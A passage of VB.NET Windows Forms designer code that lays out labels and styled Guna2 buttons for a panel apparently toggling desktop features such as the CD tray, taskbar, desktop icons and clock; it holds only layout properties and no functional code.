Label5.TabIndex = 46
|
||||
Label5.Text = "Screen :"
|
||||
'
|
||||
'Label4
|
||||
'
|
||||
Label4.AutoSize = True
|
||||
Label4.ForeColor = System.Drawing.Color.Black
|
||||
Label4.Location = New System.Drawing.Point(311, 106)
|
||||
Label4.Name = "Label4"
|
||||
Label4.Size = New System.Drawing.Size(79, 13)
|
||||
Label4.TabIndex = 43
|
||||
Label4.Text = "DesktopIcons :"
|
||||
'
|
||||
'Label3
|
||||
'
|
||||
Label3.AutoSize = True
|
||||
Label3.ForeColor = System.Drawing.Color.Black
|
||||
Label3.Location = New System.Drawing.Point(209, 189)
|
||||
Label3.Name = "Label3"
|
||||
Label3.Size = New System.Drawing.Size(68, 13)
|
||||
Label3.TabIndex = 42
|
||||
Label3.Text = "Text Speak :"
|
||||
'
|
||||
'Label2
|
||||
'
|
||||
Label2.AutoSize = True
|
||||
Label2.ForeColor = System.Drawing.Color.Black
|
||||
Label2.Location = New System.Drawing.Point(112, 19)
|
||||
Label2.Name = "Label2"
|
||||
Label2.Size = New System.Drawing.Size(52, 13)
|
||||
Label2.TabIndex = 37
|
||||
Label2.Text = "TaskBar :"
|
||||
'
|
||||
'Label1
|
||||
'
|
||||
Label1.AutoSize = True
|
||||
Label1.ForeColor = System.Drawing.Color.Black
|
||||
Label1.Location = New System.Drawing.Point(11, 19)
|
||||
Label1.Name = "Label1"
|
||||
Label1.Size = New System.Drawing.Size(62, 13)
|
||||
Label1.TabIndex = 34
|
||||
Label1.Text = "CD ROOM :"
|
||||
'
|
||||
'Timer1
|
||||
'
|
||||
Timer1.Enabled = True
|
||||
Timer1.Interval = 1000
|
||||
'
|
||||
'Guna2GradientButton1
|
||||
'
|
||||
Guna2GradientButton1.BorderRadius = 4
|
||||
Guna2GradientButton1.DisabledState.BorderColor = System.Drawing.Color.DarkGray
|
||||
Guna2GradientButton1.DisabledState.CustomBorderColor = System.Drawing.Color.DarkGray
|
||||
Guna2GradientButton1.DisabledState.FillColor = System.Drawing.Color.FromArgb(CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer))
|
||||
Guna2GradientButton1.DisabledState.FillColor2 = System.Drawing.Color.FromArgb(CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer))
|
||||
Guna2GradientButton1.DisabledState.ForeColor = System.Drawing.Color.FromArgb(CType(CType(141, Byte), Integer), CType(CType(141, Byte), Integer), CType(CType(141, Byte), Integer))
|
||||
Guna2GradientButton1.FillColor2 = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Guna2GradientButton1.Font = New System.Drawing.Font("Segoe UI", 9.0!)
|
||||
Guna2GradientButton1.ForeColor = System.Drawing.Color.White
|
||||
Guna2GradientButton1.ImageAlign = System.Windows.Forms.HorizontalAlignment.Left
|
||||
Guna2GradientButton1.ImageSize = New System.Drawing.Size(17, 17)
|
||||
Guna2GradientButton1.Location = New System.Drawing.Point(14, 35)
|
||||
Guna2GradientButton1.Name = "Guna2GradientButton1"
|
||||
Guna2GradientButton1.Size = New System.Drawing.Size(76, 21)
|
||||
Guna2GradientButton1.TabIndex = 69
|
||||
Guna2GradientButton1.Text = "Open"
|
||||
'
|
||||
'Guna2GradientButton2
|
||||
'
|
||||
Guna2GradientButton2.BorderRadius = 4
|
||||
Guna2GradientButton2.DisabledState.BorderColor = System.Drawing.Color.DarkGray
|
||||
Guna2GradientButton2.DisabledState.CustomBorderColor = System.Drawing.Color.DarkGray
|
||||
Guna2GradientButton2.DisabledState.FillColor = System.Drawing.Color.FromArgb(CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer))
|
||||
Guna2GradientButton2.DisabledState.FillColor2 = System.Drawing.Color.FromArgb(CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer))
|
||||
Guna2GradientButton2.DisabledState.ForeColor = System.Drawing.Color.FromArgb(CType(CType(141, Byte), Integer), CType(CType(141, Byte), Integer), CType(CType(141, Byte), Integer))
|
||||
Guna2GradientButton2.FillColor2 = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Guna2GradientButton2.Font = New System.Drawing.Font("Segoe UI", 9.0!)
|
||||
Guna2GradientButton2.ForeColor = System.Drawing.Color.White
|
||||
Guna2GradientButton2.ImageAlign = System.Windows.Forms.HorizontalAlignment.Left
|
||||
Guna2GradientButton2.ImageSize = New System.Drawing.Size(17, 17)
|
||||
Guna2GradientButton2.Location = New System.Drawing.Point(14, 64)
|
||||
Guna2GradientButton2.Name = "Guna2GradientButton2"
|
||||
Guna2GradientButton2.Size = New System.Drawing.Size(76, 21)
|
||||
Guna2GradientButton2.TabIndex = 70
|
||||
Guna2GradientButton2.Text = "Close"
|
||||
'
|
||||
'Guna2GradientButton3
|
||||
'
|
||||
Guna2GradientButton3.BorderRadius = 4
|
||||
Guna2GradientButton3.DisabledState.BorderColor = System.Drawing.Color.DarkGray
|
||||
Guna2GradientButton3.DisabledState.CustomBorderColor = System.Drawing.Color.DarkGray
|
||||
Guna2GradientButton3.DisabledState.FillColor = System.Drawing.Color.FromArgb(CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer))
|
||||
Guna2GradientButton3.DisabledState.FillColor2 = System.Drawing.Color.FromArgb(CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer))
|
||||
Guna2GradientButton3.DisabledState.ForeColor = System.Drawing.Color.FromArgb(CType(CType(141, Byte), Integer), CType(CType(141, Byte), Integer), CType(CType(141, Byte), Integer))
|
||||
Guna2GradientButton3.FillColor2 = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Guna2GradientButton3.Font = New System.Drawing.Font("Segoe UI", 9.0!)
|
||||
Guna2GradientButton3.ForeColor = System.Drawing.Color.White
|
||||
Guna2GradientButton3.ImageAlign = System.Windows.Forms.HorizontalAlignment.Left
|
||||
Guna2GradientButton3.ImageSize = New System.Drawing.Size(17, 17)
|
||||
Guna2GradientButton3.Location = New System.Drawing.Point(115, 64)
|
||||
Guna2GradientButton3.Name = "Guna2GradientButton3"
|
||||
Guna2GradientButton3.Size = New System.Drawing.Size(76, 21)
|
||||
Guna2GradientButton3.TabIndex = 72
|
||||
Guna2GradientButton3.Text = "Hide"
|
||||
'
|
||||
'Guna2GradientButton4
|
||||
'
|
||||
Guna2GradientButton4.BorderRadius = 4
|
||||
Guna2GradientButton4.DisabledState.BorderColor = System.Drawing.Color.DarkGray
|
||||
Guna2GradientButton4.DisabledState.CustomBorderColor = System.Drawing.Color.DarkGray
|
||||
Guna2GradientButton4.DisabledState.FillColor = System.Drawing.Color.FromArgb(CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer))
|
||||
Guna2GradientButton4.DisabledState.FillColor2 = System.Drawing.Color.FromArgb(CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer))
|
||||
Guna2GradientButton4.DisabledState.ForeColor = System.Drawing.Color.FromArgb(CType(CType(141, Byte), Integer), CType(CType(141, Byte), Integer), CType(CType(141, Byte), Integer))
|
||||
Guna2GradientButton4.FillColor2 = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Guna2GradientButton4.Font = New System.Drawing.Font("Segoe UI", 9.0!)
|
||||
Guna2GradientButton4.ForeColor = System.Drawing.Color.White
|
||||
Guna2GradientButton4.ImageAlign = System.Windows.Forms.HorizontalAlignment.Left
|
||||
Guna2GradientButton4.ImageSize = New System.Drawing.Size(17, 17)
|
||||
Guna2GradientButton4.Location = New System.Drawing.Point(115, 35)
|
||||
Guna2GradientButton4.Name = "Guna2GradientButton4"
|
||||
Guna2GradientButton4.Size = New System.Drawing.Size(76, 21)
|
||||
Guna2GradientButton4.TabIndex = 71
|
||||
Guna2GradientButton4.Text = "Show"
|
||||
'
|
||||
'Guna2GradientButton5
|
||||
'
|
||||
Guna2GradientButton5.BorderRadius = 4
|
||||
Guna2GradientButton5.DisabledState.BorderColor = System.Drawing.Color.DarkGray
|
||||
Guna2GradientButton5.DisabledState.CustomBorderColor = System.Drawing.Color.DarkGray
|
||||
Guna2GradientButton5.DisabledState.FillColor = System.Drawing.Color.FromArgb(CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer))
|
||||
Guna2GradientButton5.DisabledState.FillColor2 = System.Drawing.Color.FromArgb(CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer))
|
||||
Guna2GradientButton5.DisabledState.ForeColor = System.Drawing.Color.FromArgb(CType(CType(141, Byte), Integer), CType(CType(141, Byte), Integer), CType(CType(141, Byte), Integer))
|
||||
Guna2GradientButton5.FillColor2 = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Guna2GradientButton5.Font = New System.Drawing.Font("Segoe UI", 9.0!)
|
||||
Guna2GradientButton5.ForeColor = System.Drawing.Color.White
|
||||
Guna2GradientButton5.ImageAlign = System.Windows.Forms.HorizontalAlignment.Left
|
||||
Guna2GradientButton5.ImageSize = New System.Drawing.Size(17, 17)
|
||||
Guna2GradientButton5.Location = New System.Drawing.Point(212, 64)
|
||||
Guna2GradientButton5.Name = "Guna2GradientButton5"
|
||||
Guna2GradientButton5.Size = New System.Drawing.Size(76, 21)
|
||||
Guna2GradientButton5.TabIndex = 74
|
||||
Guna2GradientButton5.Text = "Hide"
|
||||
'
|
||||
'Guna2GradientButton6
|
||||
'
|
||||
Guna2GradientButton6.BorderRadius = 4
|
||||
Guna2GradientButton6.DisabledState.BorderColor = System.Drawing.Color.DarkGray
|
||||
Guna2GradientButton6.DisabledState.CustomBorderColor = System.Drawing.Color.DarkGray
|
||||
Guna2GradientButton6.DisabledState.FillColor = System.Drawing.Color.FromArgb(CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer))
|
||||
Guna2GradientButton6.DisabledState.FillColor2 = System.Drawing.Color.FromArgb(CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer))
|
||||
Guna2GradientButton6.DisabledState.ForeColor = System.Drawing.Color.FromArgb(CType(CType(141, Byte), Integer), CType(CType(141, Byte), Integer), CType(CType(141, Byte), Integer))
|
||||
Guna2GradientButton6.FillColor2 = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Guna2GradientButton6.Font = New System.Drawing.Font("Segoe UI", 9.0!)
|
||||
Guna2GradientButton6.ForeColor = System.Drawing.Color.White
|
||||
Guna2GradientButton6.ImageAlign = System.Windows.Forms.HorizontalAlignment.Left
|
||||
Guna2GradientButton6.ImageSize = New System.Drawing.Size(17, 17)
|
||||
Guna2GradientButton6.Location = New System.Drawing.Point(212, 35)
|
||||
Guna2GradientButton6.Name = "Guna2GradientButton6"
|
||||
Guna2GradientButton6.Size = New System.Drawing.Size(76, 21)
|
||||
Guna2GradientButton6.TabIndex = 73
|
||||
Guna2GradientButton6.Text = "Show"
|
||||
'
|
||||
'Guna2GradientButton7
|
||||
'
|
||||
Guna2GradientButton7.BorderRadius = 4
|
||||
Guna2GradientButton7.DisabledState.BorderColor = System.Drawing.Color.DarkGray
|
||||
Guna2GradientButton7.DisabledState.CustomBorderColor = System.Drawing.Color.DarkGray
|
||||
Guna2GradientButton7.DisabledState.FillColor = System.Drawing.Color.FromArgb(CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer))
|
||||
Guna2GradientButton7.DisabledState.FillColor2 = System.Drawing.Color.FromArgb(CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer))
|
||||
Guna2GradientButton7.DisabledState.ForeColor = System.Drawing.Color.FromArgb(CType(CType(141, Byte), Integer), CType(CType(141, Byte), Integer), CType(CType(141, Byte), Integer))
|
||||
Guna2GradientButton7.FillColor2 = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Guna2GradientButton7.Font = New System.Drawing.Font("Segoe UI", 9.0!)
|
||||
Guna2GradientButton7.ForeColor = System.Drawing.Color.White
|
||||
Guna2GradientButton7.ImageAlign = System.Windows.Forms.HorizontalAlignment.Left
|
||||
Guna2GradientButton7.ImageSize = New System.Drawing.Size(17, 17)
|
||||
Guna2GradientButton7.Location = New System.Drawing.Point(314, 64)
|
||||
Guna2GradientButton7.Name = "Guna2GradientButton7"
|
||||
Guna2GradientButton7.Size = New System.Drawing.Size(76, 21)
|
||||
Guna2GradientButton7.TabIndex = 76
|
||||
Guna2GradientButton7.Text = "Start"
|
||||
'
|
||||
'Guna2GradientButton8
|
||||
'
|
||||
Guna2GradientButton8.BorderRadius = 4
|
||||
Guna2GradientButton8.DisabledState.BorderColor = System.Drawing.Color.DarkGray
|
||||
Guna2GradientButton8.DisabledState.CustomBorderColor = System.Drawing.Color.DarkGray
|
||||
Guna2GradientButton8.DisabledState.FillColor = System.Drawing.Color.FromArgb(CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer))
|
||||
Guna2GradientButton8.DisabledState.FillColor2 = System.Drawing.Color.FromArgb(CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer))
|
||||
Guna2GradientButton8.DisabledState.ForeColor = System.Drawing.Color.FromArgb(CType(CType(141, Byte), Integer), CType(CType(141, Byte), Integer), CType(CType(141, Byte), Integer))
|
||||
Guna2GradientButton8.FillColor2 = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Guna2GradientButton8.Font = New System.Drawing.Font("Segoe UI", 9.0!)
|
||||
Guna2GradientButton8.ForeColor = System.Drawing.Color.White
|
||||
Guna2GradientButton8.ImageAlign = System.Windows.Forms.HorizontalAlignment.Left
|
||||
Guna2GradientButton8.ImageSize = New System.Drawing.Size(17, 17)
|
||||
Guna2GradientButton8.Location = New System.Drawing.Point(314, 35)
|
||||
Guna2GradientButton8.Name = "Guna2GradientButton8"
|
||||
Guna2GradientButton8.Size = New System.Drawing.Size(76, 21)
|
||||
Guna2GradientButton8.TabIndex = 75
|
||||
Guna2GradientButton8.Text = "Kill"
|
||||
'
|
||||
'Guna2GradientButton9
|
||||
'
|
||||
Guna2GradientButton9.BorderRadius = 4
|
||||
Guna2GradientButton9.DisabledState.BorderColor = System.Drawing.Color.DarkGray
|
||||
Guna2GradientButton9.DisabledState.CustomBorderColor = System.Drawing.Color.DarkGray
|
||||
Guna2GradientButton9.DisabledState.FillColor = System.Drawing.Color.FromArgb(CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer))
|
||||
Guna2GradientButton9.DisabledState.FillColor2 = System.Drawing.Color.FromArgb(CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer))
|
||||
Guna2GradientButton9.DisabledState.ForeColor = System.Drawing.Color.FromArgb(CType(CType(141, Byte), Integer), CType(CType(141, Byte), Integer), CType(CType(141, Byte), Integer))
|
||||
Guna2GradientButton9.FillColor2 = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Guna2GradientButton9.Font = New System.Drawing.Font("Segoe UI", 9.0!)
|
||||
Guna2GradientButton9.ForeColor = System.Drawing.Color.White
|
||||
Guna2GradientButton9.ImageAlign = System.Windows.Forms.HorizontalAlignment.Left
|
||||
Guna2GradientButton9.ImageSize = New System.Drawing.Size(17, 17)
|
||||
Guna2GradientButton9.Location = New System.Drawing.Point(314, 151)
|
||||
Guna2GradientButton9.Name = "Guna2GradientButton9"
|
||||
Guna2GradientButton9.Size = New System.Drawing.Size(76, 21)
|
||||
Guna2GradientButton9.TabIndex = 78
|
||||
Guna2GradientButton9.Text = "Hide"
|
||||
'
|
||||
'Guna2GradientButton10
|
||||
'
|
||||
Guna2GradientButton10.BorderRadius = 4
|
||||
Guna2GradientButton10.DisabledState.BorderColor = System.Drawing.Color.DarkGray
|
||||
Guna2GradientButton10.DisabledState.CustomBorderColor = System.Drawing.Color.DarkGray
|
||||
Guna2GradientButton10.DisabledState.FillColor = System.Drawing.Color.FromArgb(CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer))
|
||||
Guna2GradientButton10.DisabledState.FillColor2 = System.Drawing.Color.FromArgb(CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer))
|
||||
Guna2GradientButton10.DisabledState.ForeColor = System.Drawing.Color.FromArgb(CType(CType(141, Byte), Integer), CType(CType(141, Byte), Integer), CType(CType(141, Byte), Integer))
|
||||
Guna2GradientButton10.FillColor2 = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Guna2GradientButton10.Font = New System.Drawing.Font("Segoe UI", 9.0!)
|
||||
Guna2GradientButton10.ForeColor = System.Drawing.Color.White
|
||||
Guna2GradientButton10.ImageAlign = System.Windows.Forms.HorizontalAlignment.Left
|
||||
Guna2GradientButton10.ImageSize = New System.Drawing.Size(17, 17)
|
||||
Guna2GradientButton10.Location = New System.Drawing.Point(314, 122)
|
||||
Guna2GradientButton10.Name = "Guna2GradientButton10"
|
||||
Guna2GradientButton10.Size = New System.Drawing.Size(76, 21)
|
||||
Guna2GradientButton10.TabIndex = 77
|
||||
Guna2GradientButton10.Text = "Show"
|
||||
'
|
||||
'Guna2GradientButton11
|
||||
'
|
||||
Guna2GradientButton11.BorderRadius = 4
|
||||
Guna2GradientButton11.DisabledState.BorderColor = System.Drawing.Color.DarkGray
|
||||
Guna2GradientButton11.DisabledState.CustomBorderColor = System.Drawing.Color.DarkGray
|
||||
Guna2GradientButton11.DisabledState.FillColor = System.Drawing.Color.FromArgb(CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer))
|
||||
Guna2GradientButton11.DisabledState.FillColor2 = System.Drawing.Color.FromArgb(CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer))
|
||||
Guna2GradientButton11.DisabledState.ForeColor = System.Drawing.Color.FromArgb(CType(CType(141, Byte), Integer), CType(CType(141, Byte), Integer), CType(CType(141, Byte), Integer))
|
||||
Guna2GradientButton11.FillColor2 = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Guna2GradientButton11.Font = New System.Drawing.Font("Segoe UI", 9.0!)
|
||||
Guna2GradientButton11.ForeColor = System.Drawing.Color.White
|
||||
Guna2GradientButton11.ImageAlign = System.Windows.Forms.HorizontalAlignment.Left
|
||||
Guna2GradientButton11.ImageSize = New System.Drawing.Size(17, 17)
|
||||
Guna2GradientButton11.Location = New System.Drawing.Point(14, 234)
|
||||
Guna2GradientButton11.Name = "Guna2GradientButton11"
|
||||
Guna2GradientButton11.Size = New System.Drawing.Size(76, 21)
|
||||
Guna2GradientButton11.TabIndex = 80
|
||||
Guna2GradientButton11.Text = "Swap"
|
||||
'
|
||||
'Guna2GradientButton12
|
||||
'
|
||||
Guna2GradientButton12.BorderRadius = 4
|
||||
Guna2GradientButton12.DisabledState.BorderColor = System.Drawing.Color.DarkGray
|
||||
Guna2GradientButton12.DisabledState.CustomBorderColor = System.Drawing.Color.DarkGray
|
||||
Guna2GradientButton12.DisabledState.FillColor = System.Drawing.Color.FromArgb(CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer))
|
||||
Guna2GradientButton12.DisabledState.FillColor2 = System.Drawing.Color.FromArgb(CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer))
|
||||
Guna2GradientButton12.DisabledState.ForeColor = System.Drawing.Color.FromArgb(CType(CType(141, Byte), Integer), CType(CType(141, Byte), Integer), CType(CType(141, Byte), Integer))
|
||||
Guna2GradientButton12.FillColor2 = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Guna2GradientButton12.Font = New System.Drawing.Font("Segoe UI", 9.0!)
|
||||
Guna2GradientButton12.ForeColor = System.Drawing.Color.White
|
||||
Guna2GradientButton12.ImageAlign = System.Windows.Forms.HorizontalAlignment.Left
|
||||
Guna2GradientButton12.ImageSize = New System.Drawing.Size(17, 17)
|
||||
Guna2GradientButton12.Location = New System.Drawing.Point(14, 205)
|
||||
Guna2GradientButton12.Name = "Guna2GradientButton12"
|
||||
Guna2GradientButton12.Size = New System.Drawing.Size(76, 21)
|
||||
Guna2GradientButton12.TabIndex = 79
|
||||
Guna2GradientButton12.Text = "Normal"
|
||||
'
|
||||
'Guna2GradientButton13
|
||||
'
|
||||
Guna2GradientButton13.BorderRadius = 4
|
||||
Guna2GradientButton13.DisabledState.BorderColor = System.Drawing.Color.DarkGray
|
||||
Guna2GradientButton13.DisabledState.CustomBorderColor = System.Drawing.Color.DarkGray
|
||||
Guna2GradientButton13.DisabledState.FillColor = System.Drawing.Color.FromArgb(CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer))
|
||||
Guna2GradientButton13.DisabledState.FillColor2 = System.Drawing.Color.FromArgb(CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer))
|
||||
Guna2GradientButton13.DisabledState.ForeColor = System.Drawing.Color.FromArgb(CType(CType(141, Byte), Integer), CType(CType(141, Byte), Integer), CType(CType(141, Byte), Integer))
|
||||
Guna2GradientButton13.FillColor2 = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Guna2GradientButton13.Font = New System.Drawing.Font("Segoe UI", 9.0!)
|
||||
Guna2GradientButton13.ForeColor = System.Drawing.Color.White
|
||||
Guna2GradientButton13.ImageAlign = System.Windows.Forms.HorizontalAlignment.Left
|
||||
Guna2GradientButton13.ImageSize = New System.Drawing.Size(17, 17)
|
||||
Guna2GradientButton13.Location = New System.Drawing.Point(14, 151)
|
||||
Guna2GradientButton13.Name = "Guna2GradientButton13"
|
||||
Guna2GradientButton13.Size = New System.Drawing.Size(76, 21)
|
||||
Guna2GradientButton13.TabIndex = 82
|
||||
Guna2GradientButton13.Text = "Off"
|
||||
'
|
||||
'Guna2GradientButton14
|
||||
'
|
||||
Guna2GradientButton14.BorderRadius = 4
|
||||
Guna2GradientButton14.DisabledState.BorderColor = System.Drawing.Color.DarkGray
|
||||
Guna2GradientButton14.DisabledState.CustomBorderColor = System.Drawing.Color.DarkGray
|
||||
Guna2GradientButton14.DisabledState.FillColor = System.Drawing.Color.FromArgb(CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer))
|
||||
Guna2GradientButton14.DisabledState.FillColor2 = System.Drawing.Color.FromArgb(CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer))
|
||||
Guna2GradientButton14.DisabledState.ForeColor = System.Drawing.Color.FromArgb(CType(CType(141, Byte), Integer), CType(CType(141, Byte), Integer), CType(CType(141, Byte), Integer))
|
||||
Guna2GradientButton14.FillColor2 = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Guna2GradientButton14.Font = New System.Drawing.Font("Segoe UI", 9.0!)
|
||||
Guna2GradientButton14.ForeColor = System.Drawing.Color.White
|
||||
Guna2GradientButton14.ImageAlign = System.Windows.Forms.HorizontalAlignment.Left
|
||||
Guna2GradientButton14.ImageSize = New System.Drawing.Size(17, 17)
|
||||
Guna2GradientButton14.Location = New System.Drawing.Point(14, 122)
|
||||
Guna2GradientButton14.Name = "Guna2GradientButton14"
|
||||
Guna2GradientButton14.Size = New System.Drawing.Size(76, 21)
|
||||
Guna2GradientButton14.TabIndex = 81
|
||||
Guna2GradientButton14.Text = "On"
|
||||
'
|
||||
'Guna2GradientButton15
|
||||
'
|
||||
Guna2GradientButton15.BorderRadius = 4
|
||||
Guna2GradientButton15.DisabledState.BorderColor = System.Drawing.Color.DarkGray
|
||||
Guna2GradientButton15.DisabledState.CustomBorderColor = System.Drawing.Color.DarkGray
|
||||
Guna2GradientButton15.DisabledState.FillColor = System.Drawing.Color.FromArgb(CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer))
|
||||
Guna2GradientButton15.DisabledState.FillColor2 = System.Drawing.Color.FromArgb(CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer))
|
||||
Guna2GradientButton15.DisabledState.ForeColor = System.Drawing.Color.FromArgb(CType(CType(141, Byte), Integer), CType(CType(141, Byte), Integer), CType(CType(141, Byte), Integer))
|
||||
Guna2GradientButton15.FillColor2 = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Guna2GradientButton15.Font = New System.Drawing.Font("Segoe UI", 9.0!)
|
||||
Guna2GradientButton15.ForeColor = System.Drawing.Color.White
|
||||
Guna2GradientButton15.ImageAlign = System.Windows.Forms.HorizontalAlignment.Left
|
||||
Guna2GradientButton15.ImageSize = New System.Drawing.Size(17, 17)
|
||||
Guna2GradientButton15.Location = New System.Drawing.Point(115, 151)
|
||||
Guna2GradientButton15.Name = "Guna2GradientButton15"
|
||||
Guna2GradientButton15.Size = New System.Drawing.Size(76, 21)
|
||||
Guna2GradientButton15.TabIndex = 85
|
||||
Guna2GradientButton15.Text = "Hide"
|
||||
'
|
||||
'Guna2GradientButton16
|
||||
'
|
||||
Guna2GradientButton16.BorderRadius = 4
|
||||
Guna2GradientButton16.DisabledState.BorderColor = System.Drawing.Color.DarkGray
|
||||
Guna2GradientButton16.DisabledState.CustomBorderColor = System.Drawing.Color.DarkGray
|
||||
Guna2GradientButton16.DisabledState.FillColor = System.Drawing.Color.FromArgb(CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer))
|
||||
Guna2GradientButton16.DisabledState.FillColor2 = System.Drawing.Color.FromArgb(CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer))
|
||||
Guna2GradientButton16.DisabledState.ForeColor = System.Drawing.Color.FromArgb(CType(CType(141, Byte), Integer), CType(CType(141, Byte), Integer), CType(CType(141, Byte), Integer))
|
||||
Guna2GradientButton16.FillColor2 = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Guna2GradientButton16.Font = New System.Drawing.Font("Segoe UI", 9.0!)
|
||||
Guna2GradientButton16.ForeColor = System.Drawing.Color.White
|
||||
Guna2GradientButton16.ImageAlign = System.Windows.Forms.HorizontalAlignment.Left
|
||||
Guna2GradientButton16.ImageSize = New System.Drawing.Size(17, 17)
|
||||
Guna2GradientButton16.Location = New System.Drawing.Point(115, 122)
|
||||
Guna2GradientButton16.Name = "Guna2GradientButton16"
|
||||
Guna2GradientButton16.Size = New System.Drawing.Size(76, 21)
|
||||
Guna2GradientButton16.TabIndex = 84
|
||||
Guna2GradientButton16.Text = "Show"
|
||||
'
|
||||
'Label12
|
||||
'
|
||||
Label12.AutoSize = True
|
||||
Label12.ForeColor = System.Drawing.Color.Black
|
||||
Label12.Location = New System.Drawing.Point(112, 106)
|
||||
Label12.Name = "Label12"
|
||||
Label12.Size = New System.Drawing.Size(39, 13)
|
||||
Label12.TabIndex = 83
|
||||
Label12.Text = "Clock :"
|
||||
'
|
||||
'Guna2GradientButton17
|
||||
'
|
||||
Guna2GradientButton17.BorderRadius = 4
|
||||
Guna2GradientButton17.DisabledState.BorderColor = System.Drawing.Color.DarkGray
|
||||
Guna2GradientButton17.DisabledState.CustomBorderColor = System.Drawing.Color.DarkGray
|
||||
Guna2GradientButton17.DisabledState.FillColor = System.Drawing.Color.FromArgb(CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer))
|
||||
Guna2GradientButton17.DisabledState.FillColor2 = System.Drawing.Color.FromArgb(CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer))
|
||||
Guna2GradientButton17.DisabledState.ForeColor = System.Drawing.Color.FromArgb(CType(CType(141, Byte), Integer), CType(CType(141, Byte), Integer), CType(CType(141, Byte), Integer))
|
||||
Guna2GradientButton17.FillColor2 = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Guna2GradientButton17.Font = New System.Drawing.Font("Segoe UI", 9.0!)
|
||||
Guna2GradientButton17.ForeColor = System.Drawing.Color.White
|
||||
Guna2GradientButton17.ImageAlign = System.Windows.Forms.HorizontalAlignment.Left
|
||||
Guna2GradientButton17.ImageSize = New System.Drawing.Size(17, 17)
|
||||
